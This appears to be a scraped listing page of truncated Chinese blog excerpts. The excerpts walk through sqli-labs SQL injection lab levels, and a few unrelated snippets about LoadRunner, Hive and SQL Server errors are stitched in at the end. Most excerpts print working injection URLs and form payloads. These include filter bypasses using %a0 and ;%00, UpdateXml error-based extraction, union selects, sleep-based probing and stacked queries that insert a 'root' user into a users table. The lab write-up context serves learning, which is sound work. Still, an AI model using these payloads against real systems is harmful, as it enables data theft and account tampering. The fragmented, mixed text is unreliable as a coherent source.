看了下源码 所有的注释形式和反斜线,and,or都被了过滤掉了 单引号没有过滤 空格也被过滤了 http://localhost/sqli-labs-master/Less-26/?id=1' http://localhost/sqli-labs-master/Less-26/?id=1' ' 看了网上的一些方法都是使用了%a0替换掉了空格 http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1 但是出了一点问题,似乎无法…
. 加单引号报错 加# http://localhost/sqli-labs-master/Less-23/?id=1'%23 错误没有改变,推测过滤了# 查看源码发现# -- 都被替换掉了 那么可用通过闭合单引号的方式 http://localhost/sqli-labs-master/Less-23/?id=1' and '1'='1 然后通过UpdateXml函数利用报错取数据 http://localhost/sqli-labs-master/Less-23/?id=1' and Upd…
这个和less26差不多,空格还是用%a0代替,26过了这个也就简单了 ;%00 可以代替注释,尝试一下 order by 3 http://192.168.136.128/sqli-labs-master/Less-26a/?id=1')%a0oorrder%a0by%a03;%00 order by 4 http://192.168.136.128/sqli-labs-master/Less-26a/?id=1')%a0oorrder%a0by%a04;%00 虽然错误没有显示,我们还是知道…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
less50的字符型版本,闭合好引号就行 http://192.168.136.128/sqli-labs-master/Less-51/?sort=1';insert into users(id,username,password) value (15,'root','root')%23…
报错没有关闭,直接可以用UpdateXml函数 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1) 用堆叠注入 http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','ro…
http://192.168.136.128/sqli-labs-master/Less-47/?sort=1 改变sort的值,结果仍然是order by 1的结果 http://192.168.136.128/sqli-labs-master/Less-47/?sort=1' and sleep(0.1)%23…
http://192.168.136.128/sqli-labs-master/Less-46/?sort=1 sort=4时出现报错 说明参数是添加在order by 之后 错误信息没有屏蔽,直接使用UpdateXml函数报错 http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and UpdateXml(1,concat(0x7e,database(),0x7e),1)%23 http://192.168.136.128/sqli-…
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行堆叠注入 login_user=&login_password=1';insert into users(id,username,password) value(15,'root','root')# 登陆…
以admin admin成功登陆之后,保存并显示了cookies信息 如果不点击Delete Your Cookie!按钮,那么访问 http://localhost/sqli-labs-master/Less-20/ 就不需要再次登陆了,通过cookies获取了username并且没有进行验证 通过浏览器插件EditThisCookie来修改 加单引号然后刷新页面 发现了MySQL的报错信息 $sql="SELECT * FROM users WHERE username='$cookee'…
这关有点意思,有一点需要事先注意,这关玩的是login.php而不是默认的index.php 再注入之前需要先了解一下HPP(HTTP Parameter Pollution),详情参照这篇 http://blog.csdn.net/eatmilkboy/article/details/6761407 对于这关的WAF需要了解一点就是,WAF和web程序的业务逻辑是无关的,WAF只是起这简单的参数过滤作用而已,这样就可以解释为什么sql语句用的id而WAF判断的是id1 换句话说,没有了WAF就…
这个不是基于错误的吧,看源码可以知道错误并没有输出 那就使用;%00和order by试一下 http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a03;%00 http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a04;%00 http://192.168.136.128/sqli-labs-master/Less-28/?…
看一下过滤函数 看一下/s是什么东西 那直接通过大小写就可以绕过了 http://192.168.136.128/sqli-labs-master/Less-27/?id=0'%a0uNion%a0sElect%a01,2,%273…
加单引号 order by一下 http://localhost/sqli-labs-master/Less-25/?id=1' order by 1%23 order by 变成了der by 下面的hint也显示了过滤后的字符串,其实直接看报错就可以看出来了,虽然标题是屏蔽了or和and,结果order也被误伤了 由于过滤只是单纯的将or and用空串进行了替换那么构造oorrder by就应该可以通过了 http://localhost/sqli-labs-master/Less-25/?…
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试一试) Less-1: 提示参数是id,值为数字. 先测试是字符型还是字符串型: ?id=1 and 1=2--%20 ?id=1' and 1=2--%20 结果证明是字符串型. 然后一系列常规操作,order by 3为上限. payload: ?id=100' union select 1,u…
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空格]注释内容 #注释内容(url中使用23%) /*注释内容*/ 第一关 测试注入类型: http://192.168.142.136/sqli/Less-1/?id=1' 报错:You have an error in your SQL syntax; check the manual that…
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太菜了..... 所以就真能默默的继续玩 Sqli labs系列 的源码了..... 不过SQL注入,主要可以分为 get 注入,post 注入,cookie 注入,其中咱们大部分都是的get 注入,post 注入都是提交表单类的注入,当然比如管理员登录框,如果存在注入,觉得嫌一直重复的话,可以用火狐…
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊...好歹我也是上打过网络安全攻防平台,注入卡在第七关,我下玩过 web_for_pentester ,web渗透靶机2pentester_II_i386,这些靶场的小菜比... 好了,不扯了,现在开始扯这个第二关. 原本想着明天闲着没事了玩玩吧,后来,我今天也是闲的没事,我就继续开始玩玩吧. 结果玩…
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://…
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回了错误,后来又试了--,一直无法注释,不知道什么情况.后来看标题,发现已经把注释给过滤掉了.服务端如下代码: //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/-…
  场景描述:被测系统是发布在远程服务器上的,假设IP是10.10.10.10,端口是8066,那么访问地址是http://10.10.10.10:8066/,在control机器上我设置了IP欺骗. 错误现象:在场景运行时出现大量Action.c(8): Error -27796: Failed to connect to server"server:port": [10060] Connection timed out错误. 官方的troubleshooting: 查看工具的tro…
hive遇到FAILED: Execution Error, return code 2 from org.apache.hadoop.hive.ql.exec.mr.MapRedTask错误 起因 使用hive做join查询,a表十几万数据,b表1kw多点数据,结果跑起来就是跑一半返回错误,提示如下: FAILED: Execution Error, return code 2 from org.apache.hadoop.hive.ql.exec.mr.MapRedTask 尝试 实在是没什…
问题:sql server 2008启动时:已成功与服务器建立连接,但是在登录过程中发生错误.(provider:命名管道提供程序,error:0-管道的另一端上无任何进程.)(Microsoft SQL Server,错误:233) 然后再连接:错误:18456   解决办法: 第一步: 启动所有与SQL有关的服务,问题依旧: 第二步: 查看windows防火墙,被默认启动了,不启动选择项被Disabled两个提示“由于安全考虑,某些设置由组策略控制”“Windows防火墙正在使用您的域设置”…
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1 2.回显报错,说明是字符型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 3.回显正常,单引号闭合成功,通过单引号闭合进行注入, http://127.0.0.1/sqli-labs-…
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" 对应的sql语句应为 select ... from ... where xx=("1") limit 0,1 构造 select ... from ... where xx=("1")#") limit 0,1 对应的GET请求 http://localh…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
与less1相同,直接走流程 提交参数,直接order by http://localhost/sqli/Less-2/?id=1 order by 1%23 http://localhost/sqli/Less-2/?id=-1 union select 1,2,3%23 http://localhost/sqli/Less-2/?id=-1 union select 1,database(),user()%23 http://localhost/sqli/Less-2/?id=-1 unio…
Less-5: 核心语句: 我们注意到,当输入正确时,并不能获得有价值的回显.好在出现错误时,会爆出错误内容: 于是,使用报错注入: 1'  and updatexml(1,concat(0x7e,(select(database()))),1) --+ 此时,我们的语句实际上已经变成and连接的两个命令(or也行). updatexml是一个常用的报错函数,它有三个参数,在第二个参数中本应输入一个路径.我们输入要查询的东西加一个非法字符0x7e(' ~ '),就可以通过报错获得信息.conca…
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码 2.进一步了解 每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问. 既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27 没毛病报错了,说明单引号会被算入sql语句中 假设一下,这个sql语句是这样构造的: $sql…